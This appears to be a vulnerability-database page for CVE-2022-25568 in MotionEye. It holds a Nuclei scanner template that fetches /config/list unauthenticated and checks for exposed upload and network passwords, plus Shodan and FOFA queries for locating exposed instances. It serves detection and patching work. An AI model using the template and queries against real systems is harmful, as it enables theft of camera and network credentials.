CVE-2022-25568: MotionEye Config Info Disclosure

2025-08-01 MotionEye PoC Public

Description

MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.

PoC

id: CVE-2022-25568

info:
  name: MotionEye Config Info Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
  impact: |
    Unauthenticated attackers can access sensitive MotionEye configuration data including upload passwords and network passwords through the /config/list endpoint when regular user authentication is not configured, potentially compromising camera systems and network access.
  remediation: |
    Update MotionEye to version 0.42.2 or later and ensure regular user passwords are properly configured to restrict access.
  reference:
    - https://www.pizzapower.me/2022/02/17/motioneye-config-info-disclosure/
    - https://github.com/ccrisan/motioneye/issues/2292
    - https://nvd.nist.gov/vuln/detail/cve-2022-25568
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25568
    cwe-id: CWE-1188
    epss-score: 0.06885
    epss-percentile: 0.93725
    cpe: cpe:2.3:a:motioneye_project:motioneye:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: motioneye_project
    product: motioneye
    shodan-query:
      - html:"MotionEye"
      - http.html:"motioneye"
    fofa-query: body="motioneye"
  tags: cve,cve2022,motioneye,config,motioneye_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/list"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "upload_password"
          - "network_password"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022069aa530beb24cb9741669b096d05c1c2d3ab28d337c812f7b621e6ffe2635009022100a6f8c9577f3bb1e6256253b0273141a008eb105afb69ba8a0895fe688e344620:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities